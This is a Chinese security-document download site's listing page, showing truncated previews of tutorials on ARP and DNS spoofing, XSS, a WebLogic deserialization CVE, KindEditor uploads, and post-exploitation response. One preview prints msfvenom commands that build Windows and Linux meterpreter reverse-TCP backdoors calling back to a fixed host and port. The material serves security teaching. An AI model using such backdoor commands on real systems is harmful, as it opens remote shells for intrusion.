爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

MITM——ARP篇

# MITM攻击教学：ARP欺骗与流量嗅探技术 ## 1. 概述本教学文档详细讲解中间人攻击(MITM)中的ARP欺骗技术，以及如何使用Ettercap和Driftnet工具进行字节流和图片流嗅探。 ## 2. 中间人攻击(MITM)基础 ### 2.1 MITM定义中间人攻击(Man-in-the-Middle Attack)是一种通过将攻击者控制的计算机虚拟放置在通信双方之间，拦截、篡改和嗅探网络通信数据的攻击方式。 ### 2.2 ARP协议与ARP欺骗 - **ARP协议*

2025-08-16 22:59:23

从后渗透分析应急响应的那些事儿（一）基础入侵篇

# 后渗透分析应急响应基础入侵篇 ## 一、Metasploit基础后门生成 ### 1. 常见后门类型及生成命令 #### Windows后门 ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=44444 -f exe > test.exe ``` #### Linux后门 ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp

2025-08-16 22:58:27

挖洞经验 | 通过密码重置功能构造HTTP Leak实现任意账户劫持

# HTTP Leak攻击与密码重置功能漏洞利用分析 ## 漏洞概述本文分析了一种通过密码重置功能中的HTML注入漏洞构造HTTP Leak攻击，最终实现任意账户劫持的技术方法。该漏洞存在于目标应用服务的密码重置功能中，攻击者可以利用HTML注入漏洞获取账户的密码重置Token，从而实现对其他账户的完全控制。 ## 漏洞发现过程 ### 1. 密码重置功能分析在测试目标应用服务(app.com)的密码重置功能时，发现服务端会向用户邮箱发送HTML格式的密码重置邮件。邮件内容基于模板

2025-08-16 22:57:29

大批量Kindeditor文件上传事件的漏洞分析

# KindEditor文件上传漏洞分析与防护指南 ## 一、漏洞背景 KindEditor是一款广泛使用的开源HTML可视化编辑器，具有以下特点： - 兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器 - 使用JavaScript编写，可与Java、.NET、PHP、ASP等程序无缝集成 - 适用于CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用 ## 二、漏洞描述 ### 漏洞本质在KindEditor ≤4.1.11版本中，`upload_js

2025-08-16 22:56:50

MITM——DNS篇

# MITM攻击之DNS欺骗技术详解 ## 一、基本概念 ### 1. MITM攻击中间人攻击(Man-in-the-Middle Attack)是一种通过拦截正常网络通信数据并进行篡改和嗅探的攻击方式，通信双方对此毫不知情。DNS欺骗是MITM攻击的典型应用之一。 ### 2. DNS协议 DNS(域名系统)是TCP/IP协议族中的重要协议，负责将域名映射到对应的IP地址。DNS欺骗就是通过篡改DNS响应，将目标域名解析到攻击者控制的IP地址。 ### 3. ARP协议地址解析协议

2025-08-16 22:56:05

Weblogic反序列化远程代码执行漏洞（CVE-2019-2725）分析报告

# WebLogic反序列化远程代码执行漏洞(CVE-2019-2725)深度分析与防护指南 ## 一、漏洞概述 **漏洞编号**：CVE-2019-2725 (CNVD-C-2019-48814) **漏洞类型**：反序列化远程代码执行 **威胁等级**：高危 **披露时间**：2019年4月17日 **补丁发布时间**：2019年4月26日 ### 受影响版本 - Oracle WebLogic Server 10.* - Oracle WebLogic Serve

2025-08-16 22:55:16

一文看懂认证安全问题总结篇

# 认证安全全面解析与最佳实践 ## 认证技术分类概述认证技术可分为以下几大类： 1. **公钥基础设施**：PKI、X509标准 2. **Web会话管理**：Cookie、Session、JWT 3. **Windows认证体系**：ADS、LM/NTLM、Kerberos 4. **开放授权协议**：OAuth、OpenID 5. **单点登录方案**：SSO及相关协议(SAML、CAS等) ## Web会话管理安全 ### Cookie与Session机制 **Cookie

2025-08-16 22:44:06

Web For Pentester 平台针对Xss-Example 1-10

# Web For Pentester XSS 漏洞实战教程 (Example 1-10) ## 前言 Web For Pentester 是一个专为初学者设计的 PHP 漏洞学习环境，本教程详细解析其中的 XSS 漏洞示例 1-10，帮助学习者深入理解跨站脚本攻击的各种形式和防御方法。 ## XSS 基础概念跨站脚本攻击 (XSS) 是一种将恶意脚本注入到可信网站中的攻击方式，主要分为三类： - 反射型 XSS - 存储型 XSS - DOM 型 XSS ## 示例解析 ###

2025-08-16 22:43:00

快速找出网站中可能存在的XSS漏洞实践

# XSS漏洞挖掘实战教学文档 ## 一、XSS漏洞概述 ### 1.1 XSS漏洞定义跨站脚本攻击(XSS)是一种将恶意脚本注入到网页中，当其他用户访问该网页时，恶意脚本会在用户浏览器中执行的攻击方式。 ### 1.2 XSS漏洞分类 1. **反射型XSS**：恶意脚本通过URL参数传递，服务器未过滤直接返回给客户端 2. **存储型XSS**：恶意脚本被存储在服务器端，每次用户访问特定页面时执行 3. **DOM型XSS**：通过客户端JavaScript操作DOM时产生的漏洞，不

2025-08-16 22:42:16

【缺陷周话】第32期：弱加密

# 弱加密缺陷分析与防护指南 ## 1. 弱加密概述 **定义**：弱加密是指使用容易被破解的加密算法或不当的加密实现方式，使得攻击者能够在有限时间内通过穷举等方法破解加密数据。 **加密算法分类**： - **对称加密**：加密和解密使用相同密钥（如DES、AES） - **非对称加密**：使用公钥加密，私钥解密（如RSA） - **单向加密**：不可逆的加密方式（如哈希算法） **安全标准**：CWE ID 261: Weak Cryptography for Passwords

2025-08-16 22:41:22

CTF中常见的编码，代码混淆及加、解密

# CTF中常见的编码、代码混淆及加解密技术详解 ## 一、编码与加密的基本概念 ### 1. 编码与加密的区别 - **编码**：将数据信息转化成一种固定格式的编码信息，目的是为了方便不同系统间的信息传输，通过编码可以得到原始信息 - **加密**：为了保证信息传输的安全性，需要通过密钥才能还原原始信息 ## 二、常见编码方式 ### 1. ASCII编码 ASCII编码分为三部分： - ASCII非打印控制字符（0-31） - ASCII打印字符（32-126） - 扩展ASCI

2025-08-16 22:40:37

SecWiki周刊（第269期）

# 网络安全技术与实践综合教学文档 ## 一、网络安全行业概述 ### 1.1 中国网络安全行业分类(2019H1) - **全景图分析**：中国网络安全行业可分为基础安全、终端安全、应用安全、数据安全、安全管理、安全服务等大类 - **细分领域**：包括防火墙、IDS/IPS、WAF、SOC、APT防护、威胁情报、数据防泄漏等 - **发展趋势**：云安全、工控安全、物联网安全等新兴领域增长迅速 ### 1.2 国际安全智库研究 - **兰德公司案例**：美国高端智库的人才吸引机制包括：

2025-08-16 22:39:18

跳转到页